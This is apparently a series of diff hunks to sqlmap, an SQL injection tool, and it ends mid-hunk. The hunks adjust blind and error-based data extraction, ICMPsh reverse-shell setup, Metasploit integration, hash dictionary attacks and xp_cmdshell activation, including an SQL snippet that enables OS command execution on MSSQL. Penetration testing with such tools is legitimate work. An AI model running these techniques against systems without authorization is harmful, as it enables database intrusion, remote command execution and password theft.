            if not token:
                if conf.csrfUrl != conf.url and code == httplib.OK:
                    if headers and "text/plain" in headers.get(HTTP_HEADER.CONTENT_TYPE, ""):
@@ -432,7 +432,7 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser
                found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE

            if time and (isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED)) and not found:
-                kb.responseTimeMode = re.sub(r"(?i)[^a-z]", "", re.sub(r"'[^']+'", "", expression)) if re.search(r"(?i)SELECT.+FROM", expression) else None
+                kb.responseTimeMode = re.sub(r"(?i)[^a-z]", "", re.sub(r"'[^']+'", "", re.sub(r"(?i)(\w+)\(.+\)", r"\g<1>", expression))) if re.search(r"(?i)SELECT.+FROM", expression) else None

                if isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME):
                    kb.technique = PAYLOAD.TECHNIQUE.TIME
@@ -6,6 +6,8 @@ See the file 'doc/COPYING' for copying permission
 """

 import os
+import re
+import socket
 import time

 from extra.icmpsh.icmpsh_m import main as icmpshmaster
@@ -54,15 +56,29 @@ class ICMPsh:
        if self.localIP:
            message += "[Enter for '%s' (detected)] " % self.localIP

-        while not address:
-            address = readInput(message, default=self.localIP)
+        valid = None
+        while not valid:
+            valid = True
+            address = readInput(message, default=self.localIP or "")
+
+            try:
+                socket.inet_aton(address)
+            except socket.error:
+                valid = False
+            finally:
+                valid = valid and re.search(r"\d+\.\d+\.\d+\.\d+", address) is not None

            if conf.batch and not address:
                raise SqlmapDataException("local host address is missing")
+            elif address and not valid:
+                warnMsg = "invalid local host address"
+                logger.warn(warnMsg)

        return address

    def _prepareIngredients(self, encode=True):
+        self.localIP = getattr(self, "localIP", None)
+        self.remoteIP = getattr(self, "remoteIP", None)
        self.lhostStr = ICMPsh._selectLhost(self)
        self.rhostStr = ICMPsh._selectRhost(self)

@@ -7,6 +7,7 @@ See the file 'doc/COPYING' for copying permission

 import os
 import re
+import select
 import sys
 import tempfile
 import time
@@ -47,8 +48,6 @@ from lib.core.subprocessng import recv_some

 if IS_WIN:
    import msvcrt
-else:
-    from select import select

 class Metasploit:
    """
@@ -550,7 +549,7 @@ class Metasploit:
                            # Probably the child has exited
                            pass
                else:
-                    ready_fds = select([stdin_fd], [], [], 1)
+                    ready_fds = select.select([stdin_fd], [], [], 1)

                    if stdin_fd in ready_fds[0]:
                        try:
@@ -598,7 +597,7 @@ class Metasploit:
                    else:
                        proc.kill()

-            except (EOFError, IOError):
+            except (EOFError, IOError, select.error):
                return proc.returncode

    def createMsfShellcode(self, exitfunc, format, extra, encode):
@@ -45,7 +45,7 @@ class Xp_cmdshell:
    def _xpCmdshellCreate(self):
        cmd = ""

-        if Backend.isVersionWithin(("2005", "2008", "2012")):
+        if not Backend.isVersionWithin(("2000",)):
            logger.debug("activating sp_OACreate")

            cmd = getSQLSnippet(DBMS.MSSQL, "activate_sp_oacreate")
@@ -56,7 +56,7 @@ class Xp_cmdshell:

        cmd = getSQLSnippet(DBMS.MSSQL, "create_new_xp_cmdshell", RANDSTR=self._randStr)

-        if Backend.isVersionWithin(("2005", "2008")):
+        if not Backend.isVersionWithin(("2000",)):
            cmd += ";RECONFIGURE WITH OVERRIDE"

        inject.goStacked(agent.runAsDBMSUser(cmd))
@@ -83,10 +83,10 @@ class Xp_cmdshell:
        return cmd

    def _xpCmdshellConfigure(self, mode):
-        if Backend.isVersionWithin(("2005", "2008")):
-            cmd = self._xpCmdshellConfigure2005(mode)
-        else:
+        if Backend.isVersionWithin(("2000",)):
            cmd = self._xpCmdshellConfigure2000(mode)
+        else:
+            cmd = self._xpCmdshellConfigure2005(mode)

        inject.goStacked(agent.runAsDBMSUser(cmd))

@@ -111,8 +111,8 @@ class Xp_cmdshell:
            errMsg += "storing console output within the back-end file system "
            errMsg += "does not have writing permissions for the DBMS process. "
            errMsg += "You are advised to manually adjust it with option "
-            errMsg += "--tmp-path switch or you will not be able to retrieve "
-            errMsg += "the commands output"
+            errMsg += "'--tmp-path' or you won't be able to retrieve "
+            errMsg += "the command(s) output"
            logger.error(errMsg)
        elif isNoneValue(output):
            logger.error("unable to retrieve xp_cmdshell output")
@@ -5,11 +5,9 @@ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
 See the file 'doc/COPYING' for copying permission
 """

-import re
 import threading
 import time

-from extra.safe2bin.safe2bin import safechardecode
 from extra.safe2bin.safe2bin import safecharencode
 from lib.core.agent import agent
 from lib.core.common import Backend
@@ -20,13 +18,11 @@ from lib.core.common import decodeIntToUnicode
 from lib.core.common import filterControlChars
 from lib.core.common import getCharset
 from lib.core.common import getCounter
-from lib.core.common import getUnicode
 from lib.core.common import goGoodSamaritan
 from lib.core.common import getPartRun
 from lib.core.common import hashDBRetrieve
 from lib.core.common import hashDBWrite
 from lib.core.common import incrementCounter
-from lib.core.common import randomInt
 from lib.core.common import safeStringFormat
 from lib.core.common import singleTimeWarnMessage
 from lib.core.data import conf
@@ -44,7 +40,6 @@ from lib.core.settings import INFERENCE_UNKNOWN_CHAR
 from lib.core.settings import INFERENCE_GREATER_CHAR
 from lib.core.settings import INFERENCE_EQUALS_CHAR
 from lib.core.settings import INFERENCE_NOT_EQUALS_CHAR
-from lib.core.settings import MIN_TIME_RESPONSES
 from lib.core.settings import MAX_BISECTION_LENGTH
 from lib.core.settings import MAX_TIME_REVALIDATION_STEPS
 from lib.core.settings import NULL
@@ -16,6 +16,7 @@ from lib.core.common import calculateDeltaSeconds
 from lib.core.common import dataToStdout
 from lib.core.common import decodeHexValue
 from lib.core.common import extractRegexResult
+from lib.core.common import getConsoleWidth
 from lib.core.common import getPartRun
 from lib.core.common import getUnicode
 from lib.core.common import hashDBRetrieve
@@ -43,6 +44,7 @@ from lib.core.settings import MIN_ERROR_CHUNK_LENGTH
 from lib.core.settings import MAX_ERROR_CHUNK_LENGTH
 from lib.core.settings import NULL
 from lib.core.settings import PARTIAL_VALUE_MARKER
+from lib.core.settings import ROTATING_CHARS
 from lib.core.settings import SLOW_ORDER_COUNT_THRESHOLD
 from lib.core.settings import SQL_SCALAR_REGEX
 from lib.core.settings import TURN_OFF_RESUME_INFO_LIMIT
@@ -54,6 +56,7 @@ from lib.utils.progress import ProgressBar

 def _oneShotErrorUse(expression, field=None, chunkTest=False):
    offset = 1
+    rotator = 0
    partialValue = None
    threadData = getCurrentThreadData()
    retVal = hashDBRetrieve(expression, checkConf=True)
@@ -173,8 +176,16 @@ def _oneShotErrorUse(expression, field=None, chunkTest=False):
                    else:
                        break

-                    if kb.fileReadMode and output:
-                        dataToStdout(_formatPartialContent(output).replace(r"\n", "\n").replace(r"\t", "\t"))
+                    if output:
+                        if kb.fileReadMode:
+                            dataToStdout(_formatPartialContent(output).replace(r"\n", "\n").replace(r"\t", "\t"))
+                        elif offset > 1:
+                            rotator += 1
+
+                            if rotator >= len(ROTATING_CHARS):
+                                rotator = 0
+
+                            dataToStdout("\r%s\r" % ROTATING_CHARS[rotator])
                else:
                    retVal = output
                    break
@@ -203,6 +214,7 @@ def _errorFields(expression, expressionFields, expressionFieldsList, num=None, e
    values = []
    origExpr = None

+    width = getConsoleWidth()
    threadData = getCurrentThreadData()

    for field in expressionFieldsList:
@@ -229,7 +241,12 @@ def _errorFields(expression, expressionFields, expressionFieldsList, num=None, e
            if kb.fileReadMode and output and output.strip():
                print
            elif output is not None and not (threadData.resumed and kb.suppressResumeInfo) and not (emptyFields and field in emptyFields):
-                dataToStdout("[%s] [INFO] %s: %s\n" % (time.strftime("%X"), "resumed" if threadData.resumed else "retrieved", safecharencode(output)))
+                status = "[%s] [INFO] %s: %s" % (time.strftime("%X"), "resumed" if threadData.resumed else "retrieved", output if kb.safeCharEncode else safecharencode(output))
+
+                if len(status) > width:
+                    status = "%s..." % status[:width - 3]
+
+                dataToStdout("%s\n" % status, True)

        if isinstance(num, int):
            expression = origExpr
@@ -53,10 +53,10 @@ def _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=
            query = agent.suffixQuery(query, suffix=suffix, comment=comment)
            payload = agent.payload(newValue=query, place=place, parameter=parameter, where=where)
            page, headers = Request.queryPage(payload, place=place, content=True, raise404=False)
-            return not re.search(r"(warning|error|order by|failed)", page or "", re.I) and comparison(page, headers) or re.search(r"data types cannot be compared or sorted", page or "", re.I)
+            return not any(re.search(_, page or "", re.I) and not re.search(_, kb.pageTemplate or "", re.I) for _ in ("(warning|error):", "order by", "unknown column", "failed")) and comparison(page, headers) or re.search(r"data types cannot be compared or sorted", page or "", re.I)

        if _orderByTest(1) and not _orderByTest(randomInt()):
-            infoMsg = "ORDER BY technique seems to be usable. "
+            infoMsg = "'ORDER BY' technique appears to be usable. "
            infoMsg += "This should reduce the time needed "
            infoMsg += "to find the right number "
            infoMsg += "of query columns. Automatically extending the "
@@ -328,7 +328,8 @@ def unionUse(expression, unpack=True, dump=False):
                                    del threadData.shared.buffered[0]

                            if conf.verbose == 1 and not (threadData.resumed and kb.suppressResumeInfo) and not threadData.shared.showEta:
-                                status = "[%s] [INFO] %s: %s" % (time.strftime("%X"), "resumed" if threadData.resumed else "retrieved", safecharencode(",".join("\"%s\"" % _ for _ in flattenValue(arrayizeValue(items))) if not isinstance(items, basestring) else items))
+                                _ = ",".join("\"%s\"" % _ for _ in flattenValue(arrayizeValue(items))) if not isinstance(items, basestring) else items
+                                status = "[%s] [INFO] %s: %s" % (time.strftime("%X"), "resumed" if threadData.resumed else "retrieved", _ if kb.safeCharEncode else safecharencode(_))

                                if len(status) > width:
                                    status = "%s..." % status[:width - 3]
@@ -31,6 +31,7 @@ from lib.core.data import logger
 from lib.core.datatype import AttribDict
 from lib.core.defaults import _defaults
 from lib.core.enums import CONTENT_STATUS
+from lib.core.enums import MKSTEMP_PREFIX
 from lib.core.enums import PART_RUN_CONTENT_TYPES
 from lib.core.exception import SqlmapConnectionException
 from lib.core.log import LOGGER_HANDLER
@@ -643,7 +644,7 @@ def server(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, adapter=REST
    REST-JSON API server
    """
    DataStore.admin_id = hexencode(os.urandom(16))
-    Database.filepath = tempfile.mkstemp(prefix="sqlmapipc-", text=False)[1]
+    Database.filepath = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.IPC, text=False)[1]

    logger.info("Running REST-JSON API server at '%s:%d'.." % (host, port))
    logger.info("Admin ID: %s" % DataStore.admin_id)
@@ -22,6 +22,7 @@ from lib.core.common import safeCSValue
 from lib.core.data import conf
 from lib.core.data import kb
 from lib.core.data import logger
+from lib.core.enums import MKSTEMP_PREFIX
 from lib.core.exception import SqlmapConnectionException
 from lib.core.exception import SqlmapSyntaxException
 from lib.core.settings import CRAWL_EXCLUDE_EXTENSIONS
@@ -198,7 +199,7 @@ def storeResultsToFile(results):
        kb.storeCrawlingChoice = test[0] in ("y", "Y")

    if kb.storeCrawlingChoice:
-        handle, filename = tempfile.mkstemp(prefix="sqlmapcrawling-", suffix=".csv" if conf.forms else ".txt")
+        handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.CRAWLER, suffix=".csv" if conf.forms else ".txt")
        os.close(handle)

        infoMsg = "writing crawling results to a temporary file '%s' " % filename
@@ -30,6 +30,7 @@ import os
 import re
 import tempfile
 import time
+import zipfile

 from hashlib import md5
 from hashlib import sha1
@@ -45,6 +46,7 @@ from lib.core.common import dataToStdout
 from lib.core.common import getFileItems
 from lib.core.common import getPublicTypeMembers
 from lib.core.common import getSafeExString
+from lib.core.common import getUnicode
 from lib.core.common import hashDBRetrieve
 from lib.core.common import hashDBWrite
 from lib.core.common import normalizeUnicode
@@ -60,6 +62,8 @@ from lib.core.data import kb
 from lib.core.data import logger
 from lib.core.enums import DBMS
 from lib.core.enums import HASH
+from lib.core.enums import MKSTEMP_PREFIX
+from lib.core.exception import SqlmapDataException
 from lib.core.exception import SqlmapUserQuitException
 from lib.core.settings import COMMON_PASSWORD_SUFFIXES
 from lib.core.settings import COMMON_USER_COLUMNS
@@ -384,7 +388,7 @@ def storeHashesToFile(attack_dict):
    if not kb.storeHashesChoice:
        return

-    handle, filename = tempfile.mkstemp(prefix="sqlmaphashes-", suffix=".txt")
+    handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.HASHES, suffix=".txt")
    os.close(handle)

    infoMsg = "writing hashes to a temporary file '%s' " % filename
@@ -490,7 +494,7 @@ def attackDumpedTable():

            for (_, hash_, password) in results:
                if hash_:
-                    lut[hash_.lower()] = password
+                    lut[hash_.lower()] = getUnicode(password)

            infoMsg = "postprocessing table dump"
            logger.info(infoMsg)
@@ -785,6 +789,14 @@ def dictionaryAttack(attack_dict):
                    for dictPath in dictPaths:
                        checkFile(dictPath)

+                        if os.path.splitext(dictPath)[1].lower() == ".zip":
+                            _ = zipfile.ZipFile(dictPath, 'r')
+                            if len(_.namelist()) == 0:
+                                errMsg = "no file(s) inside '%s'" % dictPath
+                                raise SqlmapDataException(errMsg)
+                            else:
+                                _.open(_.namelist()[0])
+
                    kb.wordlists = dictPaths

                except Exception, ex:
@@ -66,7 +66,7 @@ class HashDB(object):
    @staticmethod
    def hashKey(key):
        key = key.encode(UNICODE_ENCODING) if isinstance(key, unicode) else repr(key)
-        retVal = int(hashlib.md5(key).hexdigest()[:12], 16)
+        retVal = int(hashlib.md5(key).hexdigest(), 16) & 0x7fffffffffffffff  # Reference: http://stackoverflow.com/a/4448400
        return retVal

    def retrieve(self, key, unserialize=False):
@@ -11,6 +11,7 @@ from extra.safe2bin.safe2bin import safechardecode
 from lib.core.agent import agent
 from lib.core.bigarray import BigArray
 from lib.core.common import Backend
+from lib.core.common import getUnicode
 from lib.core.common import isNoneValue
 from lib.core.common import isNumPosStrValue
 from lib.core.common import singleTimeWarnMessage
@@ -19,6 +20,7 @@ from lib.core.common import unsafeSQLIdentificatorNaming
 from lib.core.data import conf
 from lib.core.data import logger
 from lib.core.data import queries
+from lib.core.dicts import DUMP_REPLACEMENTS
 from lib.core.enums import CHARSET_TYPE
 from lib.core.enums import EXPECTED
 from lib.core.exception import SqlmapConnectionException
@@ -134,10 +136,13 @@ def pivotDumpTable(table, colList, count=None, blind=True):
                value = _(column, pivotValue)
                if column == colList[0]:
                    if isNoneValue(value):
-                        for pivotValue in filter(None, ("  " if pivotValue == " " else None, "%s%s" % (pivotValue[0], unichr(ord(pivotValue[1]) + 1)) if len(pivotValue) > 1 else None, unichr(ord(pivotValue[0]) + 1))):
-                            value = _(column, pivotValue)
-                            if not isNoneValue(value):
-                                break
+                        try:
+                            for pivotValue in filter(None, ("  " if pivotValue == " " else None, "%s%s" % (pivotValue[0], unichr(ord(pivotValue[1]) + 1)) if len(pivotValue) > 1 else None, unichr(ord(pivotValue[0]) + 1))):
+                                value = _(column, pivotValue)
+                                if not isNoneValue(value):
+                                    break
+                        except ValueError:
+                            pass

                    if isNoneValue(value):
                        breakRetrieval = True
@@ -156,7 +161,7 @@ def pivotDumpTable(table, colList, count=None, blind=True):

                value = "" if isNoneValue(value) else unArrayizeValue(value)

-                lengths[column] = max(lengths[column], len(value) if value else 0)
+                lengths[column] = max(lengths[column], len(DUMP_REPLACEMENTS.get(getUnicode(value), getUnicode(value))))
                entries[column].append(value)

    except KeyboardInterrupt:
@@ -5,7 +5,6 @@ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
 See the file 'doc/COPYING' for copying permission
 """

-import cookielib
 import httplib
 import re
 import socket
@@ -26,7 +25,6 @@ from lib.core.enums import HTTP_HEADER
 from lib.core.enums import REDIRECTION
 from lib.core.exception import SqlmapBaseException
 from lib.core.exception import SqlmapConnectionException
-from lib.core.exception import SqlmapGenericException
 from lib.core.exception import SqlmapUserQuitException
 from lib.core.settings import DUMMY_SEARCH_USER_AGENT
 from lib.core.settings import DUCKDUCKGO_REGEX
@@ -35,7 +33,6 @@ from lib.core.settings import GOOGLE_REGEX
 from lib.core.settings import HTTP_ACCEPT_ENCODING_HEADER_VALUE
 from lib.core.settings import UNICODE_ENCODING
 from lib.request.basic import decodePage
-from lib.request.httpshandler import HTTPSHandler
 from thirdparty.socks import socks


@@ -41,7 +41,7 @@ class Connector(GenericConnector):

        try:
            self.connector = pymssql.connect(host="%s:%d" % (self.hostname, self.port), user=self.user, password=self.password, database=self.db, login_timeout=conf.timeout, timeout=conf.timeout)
-        except (pymssql.ProgrammingError, pymssql.OperationalError, _mssql.MssqlDatabaseException), msg:
+        except (pymssql.Error, _mssql.MssqlDatabaseException), msg:
            raise SqlmapConnectionException(msg)

        self.initCursor()
@@ -50,7 +50,7 @@ class Connector(GenericConnector):
    def fetchall(self):
        try:
            return self.cursor.fetchall()
-        except (pymssql.ProgrammingError, pymssql.OperationalError, _mssql.MssqlDatabaseException), msg:
+        except (pymssql.Error, _mssql.MssqlDatabaseException), msg:
            logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % str(msg).replace("\n", " "))
            return None

@@ -10,10 +10,13 @@ import re
 from lib.core.common import Backend
 from lib.core.common import Format
 from lib.core.common import getUnicode
+from lib.core.common import hashDBRetrieve
+from lib.core.common import hashDBWrite
 from lib.core.data import conf
 from lib.core.data import kb
 from lib.core.data import logger
 from lib.core.enums import DBMS
+from lib.core.enums import HASHDB_KEYS
 from lib.core.enums import OS
 from lib.core.session import setDbms
 from lib.core.settings import MYSQL_ALIASES
@@ -103,6 +106,10 @@ class Fingerprint(GenericFingerprint):
        value += "back-end DBMS: "
        actVer = Format.getDbms()

+        _ = hashDBRetrieve(HASHDB_KEYS.DBMS_FORK)
+        if _:
+            actVer += " (%s fork)" % _
+
        if not conf.extensiveFp:
            value += actVer
            return value
@@ -177,6 +184,9 @@ class Fingerprint(GenericFingerprint):

                return False

+            if hashDBRetrieve(HASHDB_KEYS.DBMS_FORK) is None:
+                hashDBWrite(HASHDB_KEYS.DBMS_FORK, inject.checkBooleanExpression("@@USERSTAT LIKE @@USERSTAT") and "MariaDB" or "")
+
            # reading information_schema on some platforms is causing annoying timeout exits
            # Reference: http://bugs.mysql.com/bug.php?id=15855

@@ -41,7 +41,7 @@ class Connector(GenericConnector):

        try:
            self.connector = pymssql.connect(host="%s:%d" % (self.hostname, self.port), user=self.user, password=self.password, database=self.db, login_timeout=conf.timeout, timeout=conf.timeout)
-        except (pymssql.ProgrammingError, pymssql.OperationalError, _mssql.MssqlDatabaseException), msg:
+        except (pymssql.Error, _mssql.MssqlDatabaseException), msg:
            raise SqlmapConnectionException(msg)

        self.initCursor()
@@ -50,7 +50,7 @@ class Connector(GenericConnector):
    def fetchall(self):
        try:
            return self.cursor.fetchall()
-        except (pymssql.ProgrammingError, pymssql.OperationalError, _mssql.MssqlDatabaseException), msg:
+        except (pymssql.Error, _mssql.MssqlDatabaseException), msg:
            logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % str(msg).replace("\n", " "))
            return None

@@ -450,7 +450,7 @@ class Databases:

            elif Backend.isDbms(DBMS.ACCESS):
                errMsg = "cannot retrieve column names, "
-                errMsg += "back-end DBMS is Access"
+                errMsg += "back-end DBMS is %s" % DBMS.ACCESS
                logger.error(errMsg)
                bruteForce = True

@@ -572,7 +572,11 @@ class Databases:
                                            query = _.query % (unsafeSQLIdentificatorNaming(conf.db.upper()), unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(name.upper()))
                                        else:
                                            query = _.query % (unsafeSQLIdentificatorNaming(conf.db), unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(name))
+
                                        comment = unArrayizeValue(inject.getValue(query, blind=False, time=False))
+                                        if not isNoneValue(comment):
+                                            infoMsg = "retrieved comment '%s' for column '%s'" % (comment, name)
+                                            logger.info(infoMsg)
                                    else:
                                        warnMsg = "on %s it is not " % Backend.getIdentifiedDbms()
                                        warnMsg += "possible to get column comments"
@@ -702,7 +706,11 @@ class Databases:
                                    query = _.query % (unsafeSQLIdentificatorNaming(conf.db.upper()), unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(column.upper()))
                                else:
                                    query = _.query % (unsafeSQLIdentificatorNaming(conf.db), unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(column))
+
                                comment = unArrayizeValue(inject.getValue(query, union=False, error=False))
+                                if not isNoneValue(comment):
+                                    infoMsg = "retrieved comment '%s' for column '%s'" % (comment, column)
+                                    logger.info(infoMsg)
                            else:
                                warnMsg = "on %s it is not " % Backend.getIdentifiedDbms()
                                warnMsg += "possible to get column comments"
@@ -19,9 +19,7 @@ from lib.core.common import isListLike
 from lib.core.common import isNoneValue
 from lib.core.common import isNumPosStrValue
 from lib.core.common import isTechniqueAvailable
-from lib.core.common import popValue
 from lib.core.common import prioritySortColumns
-from lib.core.common import pushValue
 from lib.core.common import readInput
 from lib.core.common import safeSQLIdentificatorNaming
 from lib.core.common import unArrayizeValue
@@ -214,8 +212,7 @@ class Entries:
                                else:
                                    colEntry = unArrayizeValue(entry[index]) if index < len(entry) else u''

-                                _ = len(DUMP_REPLACEMENTS.get(getUnicode(colEntry), getUnicode(colEntry)))
-                                maxLen = max(len(column), _)
+                                maxLen = max(len(column), len(DUMP_REPLACEMENTS.get(getUnicode(colEntry), getUnicode(colEntry))))

                                if maxLen > kb.data.dumpedTable[column]["length"]:
                                    kb.data.dumpedTable[column]["length"] = maxLen
@@ -294,8 +291,11 @@ class Entries:
                        indexRange = getLimitRange(count, plusOne=plusOne)

                        if len(colList) < len(indexRange) > CHECK_ZERO_COLUMNS_THRESHOLD:
+                            debugMsg = "checking for empty columns"
+                            logger.debug(infoMsg)
+
                            for column in colList:
-                                if inject.getValue("SELECT COUNT(%s) FROM %s" % (column, kb.dumpTable), union=False, error=False) == '0':
+                                if not inject.checkBooleanExpression("(SELECT COUNT(%s) FROM %s)>0" % (column, kb.dumpTable)):
                                    emptyColumns.append(column)
                                    debugMsg = "column '%s' of table '%s' will not be " % (column, kb.dumpTable)
                                    debugMsg += "dumped as it appears to be empty"
@@ -329,8 +329,7 @@ class Entries:
                                    value = NULL if column in emptyColumns else inject.getValue(query, union=False, error=False, dump=True)
                                    value = '' if value is None else value

-                                    _ = DUMP_REPLACEMENTS.get(getUnicode(value), getUnicode(value))
-                                    lengths[column] = max(lengths[column], len(_))
+                                    lengths[column] = max(lengths[column], len(DUMP_REPLACEMENTS.get(getUnicode(value), getUnicode(value))))
                                    entries[column].append(value)

                        except KeyboardInterrupt:
@@ -87,7 +87,7 @@ class Filesystem:
            else:
                sameFile = False
                warnMsg = "it looks like the file has not been written (usually "
-                warnMsg += "occurs if the DBMS process' user has no write "
+                warnMsg += "occurs if the DBMS process user has no write "
                warnMsg += "privileges in the destination path)"
                logger.warn(warnMsg)

@@ -2,5 +2,5 @@ EXEC master..sp_configure 'show advanced options',1;
 RECONFIGURE WITH OVERRIDE;
 EXEC master..sp_configure 'xp_cmdshell',%ENABLE%;
 RECONFIGURE WITH OVERRIDE;
-EXEC sp_configure 'show advanced options',0;
+EXEC master..sp_configure 'show advanced options',0;
 RECONFIGURE WITH OVERRIDE
@@ -482,6 +482,9 @@ col =
 # Back-end database management system database table column(s) to not enumerate.
 excludeCol = 

+# Pivot column name.
+pivotColumn =
+
 # Use WHERE condition while table dumping (e.g. "id=1").
 dumpWhere = 

@@ -650,6 +653,9 @@ trafficFile =
 # Valid: True or False
 batch = False

+# Result fields having binary values (e.g. "digest").
+binaryFields =
+
 # Force character encoding used for data retrieval.
 charset = 

@@ -697,9 +703,6 @@ outputDir =
 # Valid: True or False
 parseErrors = False

-# Pivot column name.
-pivotColumn =
-
 # Regular expression for filtering targets from provided Burp.
 # or WebScarab proxy log.
 # Example: (google|yahoo)
@@ -753,10 +756,6 @@ googlePage = 1
 # Valid: True or False
 identifyWaf = False

-# Skip heuristic detection of WAF/IPS/IDS protection.
-# Valid: True or False
-skipWaf = False
-
 # Imitate smartphone through HTTP User-Agent header.
 # Valid: True or False
 mobile = False
@@ -769,10 +768,17 @@ offline = False
 # Valid: True or False
 pageRank = False

+# Skip heuristic detection of WAF/IPS/IDS protection.
+# Valid: True or False
+skipWaf = False
+
 # Conduct thorough tests only if positive heuristic(s).
 # Valid: True or False
 smart = False

+# Local directory for storing temporary files.
+tmpDir =
+
 # Simple wizard interface for beginner users.
 # Valid: True or False
 wizard = False
@@ -12,6 +12,8 @@ sys.dont_write_bytecode = True
 from lib.utils import versioncheck  # this has to be the first non-standard import

 import bdb
+import distutils
+import glob
 import inspect
 import logging
 import os
@@ -19,6 +21,7 @@ import re
 import shutil
 import sys
 import thread
+import threading
 import time
 import traceback
 import warnings
@@ -26,34 +29,45 @@ import warnings
 warnings.filterwarnings(action="ignore", message=".*was already imported", category=UserWarning)
 warnings.filterwarnings(action="ignore", category=DeprecationWarning)

-from lib.controller.controller import start
-from lib.core.common import banner
-from lib.core.common import createGithubIssue
-from lib.core.common import dataToStdout
-from lib.core.common import getSafeExString
-from lib.core.common import getUnicode
-from lib.core.common import maskSensitiveData
-from lib.core.common import setPaths
-from lib.core.common import weAreFrozen
-from lib.core.data import cmdLineOptions
-from lib.core.data import conf
-from lib.core.data import kb
 from lib.core.data import logger
-from lib.core.data import paths
-from lib.core.common import unhandledExceptionMessage
-from lib.core.exception import SqlmapBaseException
-from lib.core.exception import SqlmapShellQuitException
-from lib.core.exception import SqlmapSilentQuitException
-from lib.core.exception import SqlmapUserQuitException
-from lib.core.option import initOptions
-from lib.core.option import init
-from lib.core.profiling import profile
-from lib.core.settings import LEGAL_DISCLAIMER
-from lib.core.testing import smokeTest
-from lib.core.testing import liveTest
-from lib.parse.cmdline import cmdLineParser
-from lib.utils.api import setRestAPILog
-from lib.utils.api import StdDbOut
+
+try:
+    from lib.controller.controller import start
+    from lib.core.common import banner
+    from lib.core.common import createGithubIssue
+    from lib.core.common import dataToStdout
+    from lib.core.common import getSafeExString
+    from lib.core.common import getUnicode
+    from lib.core.common import maskSensitiveData
+    from lib.core.common import setPaths
+    from lib.core.common import weAreFrozen
+    from lib.core.data import cmdLineOptions
+    from lib.core.data import conf
+    from lib.core.data import kb
+    from lib.core.data import paths
+    from lib.core.common import unhandledExceptionMessage
+    from lib.core.common import MKSTEMP_PREFIX
+    from lib.core.exception import SqlmapBaseException
+    from lib.core.exception import SqlmapShellQuitException
+    from lib.core.exception import SqlmapSilentQuitException
+    from lib.core.exception import SqlmapUserQuitException
+    from lib.core.option import initOptions
+    from lib.core.option import init
+    from lib.core.profiling import profile
+    from lib.core.settings import IS_WIN
+    from lib.core.settings import LEGAL_DISCLAIMER
+    from lib.core.settings import THREAD_FINALIZATION_TIMEOUT
+    from lib.core.settings import VERSION
+    from lib.core.testing import smokeTest
+    from lib.core.testing import liveTest
+    from lib.parse.cmdline import cmdLineParser
+    from lib.utils.api import setRestAPILog
+    from lib.utils.api import StdDbOut
+except KeyboardInterrupt:
+    errMsg = "user aborted"
+    logger.error(errMsg)
+
+    raise SystemExit

 def modulePath():
    """
@@ -68,23 +82,35 @@ def modulePath():

    return getUnicode(os.path.dirname(os.path.realpath(_)), encoding=sys.getfilesystemencoding())

+def checkEnvironment():
+    paths.SQLMAP_ROOT_PATH = modulePath()
+
+    try:
+        os.path.isdir(paths.SQLMAP_ROOT_PATH)
+    except UnicodeEncodeError:
+        errMsg = "your system does not properly handle non-ASCII paths. "
+        errMsg += "Please move the sqlmap's directory to the other location"
+        logger.critical(errMsg)
+        raise SystemExit
+
+    if distutils.version.LooseVersion(VERSION) < distutils.version.LooseVersion("1.0"):
+        errMsg = "your runtime environment (e.g. PYTHONPATH) is "
+        errMsg += "broken. Please make sure that you are not running "
+        errMsg += "newer versions of sqlmap with runtime scripts for older "
+        errMsg += "versions"
+        logger.critical(errMsg)
+        raise SystemExit
+
 def main():
    """
    Main function of sqlmap when running from command line.
    """

    try:
-        paths.SQLMAP_ROOT_PATH = modulePath()
-
-        try:
-            os.path.isdir(paths.SQLMAP_ROOT_PATH)
-        except UnicodeEncodeError:
-            errMsg = "your system does not properly handle non-ASCII paths. "
-            errMsg += "Please move the sqlmap's directory to the other location"
-            logger.error(errMsg)
-            raise SystemExit
+        checkEnvironment()

        setPaths()
+        banner()

        # Store original command line options for possible later restoration
        cmdLineOptions.update(cmdLineParser().__dict__)
@@ -97,8 +123,6 @@ def main():
            sys.stderr = StdDbOut(conf.taskid, messagetype="stderr")
            setRestAPILog()

-        banner()
-
        conf.showTime = True
        dataToStdout("[!] legal disclaimer: %s\n\n" % LEGAL_DISCLAIMER, forceOutput=True)
        dataToStdout("[*] starting at %s\n\n" % time.strftime("%X"), forceOutput=True)
@@ -180,6 +204,14 @@ def main():
                logger.error(errMsg)
                raise SystemExit

+            elif "can't start new thread" in excMsg:
+                errMsg = "there has been a problem while creating new thread instance. "
+                errMsg += "Please make sure that you are not running too many processes"
+                if not IS_WIN:
+                    errMsg += " (or increase the 'ulimit -u' value)"
+                logger.error(errMsg)
+                raise SystemExit
+
            elif all(_ in excMsg for _ in ("pymysql", "configparser")):
                errMsg = "wrong initialization of pymsql detected (using Python3 dependencies)"
                logger.error(errMsg)
@@ -224,7 +256,14 @@ def main():
            dataToStdout("\n[*] shutting down at %s\n\n" % time.strftime("%X"), forceOutput=True)

        if kb.get("tempDir"):
-            shutil.rmtree(kb.tempDir, ignore_errors=True)
+                for prefix in (MKSTEMP_PREFIX.IPC, MKSTEMP_PREFIX.TESTING, MKSTEMP_PREFIX.COOKIE_JAR, MKSTEMP_PREFIX.BIG_ARRAY):
+                    for filepath in glob.glob(os.path.join(kb.tempDir, "%s*" % prefix)):
+                        try:
